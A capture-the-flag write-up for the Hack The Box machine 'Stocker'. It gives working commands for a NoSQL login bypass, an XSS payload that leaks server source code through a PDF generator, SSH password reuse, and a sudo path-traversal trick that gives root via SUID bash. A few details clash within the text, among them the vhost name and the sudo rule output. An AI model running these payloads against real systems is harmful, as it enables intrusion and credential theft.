Summary
Stocker is an Easy Linux box: NoSQL auth bypass on the
dev.stocker.htb login ({"$ne": null}) → admin → server-side
XSS in the order-PDF generator (Chromium with --no-sandbox)
reads /var/www/dev/index.js → mongo creds reused for
angoose SSH. Privesc: sudo node /usr/local/scripts/*.js —
shell glob expands to attacker-controlled path via
../../../tmp/x.js.
Operational note: the writeup-canonical vhost name is
stock.stocker.htb, but on the actual box the Express app
binds to dev.stocker.htb (the stock subdomain redirects
to the static “Coming Soon” landing). Set /etc/hosts for
both.
The chain:
- POST
/loginwith{"username":{"$ne":null},"password":{"$ne":null}}→ admin session cookie. - Order form:
namefield renders into the PDF via headless Chromium. Inject<script>fetch('file:///var/www/dev/index.js')...</script>→ exfil source →<MONGO_PW>reused forangooseSSH. sudo -l→(root) /usr/bin/node /usr/local/scripts/*.js. Glob expands at the shell — not in sudoers — so/usr/local/scripts/../../tmp/x.jsmatches.- Drop
/tmp/x.jswithchild_process.execSync('chmod +s /bin/bash')→bash -p→ root.
Recon
22/tcp OpenSSH
80/tcp nginx (default → "site under construction")
+ vhost: stock.stocker.htb (Express)
Foothold — NoSQL bypass + SSXSS
curl -X POST -H 'Host: dev.stocker.htb' -H 'Content-Type: application/json' \
-d '{"username":{"$ne":null},"password":{"$ne":null}}' \
-c jar.txt http://<TARGET>/login
# 302 → /stock; session cookie issued
Submit an order whose basket[].title is an iframe that
loads the source file directly. fetch() + document.write
is fragile in puppeteer’s PDF renderer because the document
serializes before async fetches resolve; an <iframe> whose
src=file://... is loaded synchronously into the DOM and
captured in the PDF rasterization:
<script>
document.write(unescape(
'%3Ciframe%20src%3D%22file%3A%2F%2F%2Fvar%2Fwww%2Fdev%2Findex.js%22%20width%3D%22800%22%20height%3D%22800%22%3E%3C%2Fiframe%3E'
));
</script>
curl -b jar.txt -H 'Host: dev.stocker.htb' \
-H 'Content-Type: application/json' \
-X POST -d @order.json http://<TARGET>/api/order
# → {"success":true,"orderId":"<24-hex>"}
curl -b jar.txt -H 'Host: dev.stocker.htb' \
http://<TARGET>/api/po/<orderId> -o order.pdf
pdftotext order.pdf - | grep -A2 dbURI
# const dbURI = "mongodb://dev:<MONGO_PW>@localhost/dev?authSource=admin&w=1"
The leaked index.js shows the mongo connection string with
plaintext credentials. Password reuse for SSH:
ssh angoose@<TARGET> # password = <MONGO_PW>
# user.txt in ~/
Privesc — sudo node + glob expansion
$ sudo -l
(ALL) /usr/bin/node /usr/local/scripts/*.js
# Note: not NOPASSWD — angoose's password (the same one) is required.
$ cat > /tmp/x.js <<'EOF'
require('child_process').execSync('chmod 4755 /bin/bash');
EOF
$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/x.js
$ /bin/bash -p # uid=1001, euid=0
# cat /root/root.txt
The shell expands *.js before sudo evaluates the rule,
so a path like /usr/local/scripts/../../../tmp/x.js
lexically matches the *.js glob in sudoers but resolves to
/tmp/x.js at execve time. sudo matches on the literal
argv string, not the canonicalized path.
Why each step worked
- Mongo
$neoperator: Express+mongoose forwards the JSON body straight intoUser.findOne(req.body);$ne:nullmatches any non-null field. - SSXSS to
file://: puppeteer with--no-sandboxretainsfile://access; classic. - Sudo glob: glob expansion happens in the shell before sudo evaluates the command vector; sudoers rule “matches” any path that lexically fits the pattern after expansion.
Counterfactuals
- Use parameterised mongoose queries / sanitize bodies with mongo-sanitize.
- Run puppeteer with
--disable-web-security=falseand nofile://access, or hand it sanitized HTML strings. - Don’t use globs in sudoers — match exact paths or use
runas_userplus a wrapper.
References
- 0xdf, “HTB: Stocker” — https://0xdf.gitlab.io/2023/06/24/htb-stocker.html
- IppSec, “Stocker” video walkthrough — https://ippsec.rocks/?#Stocker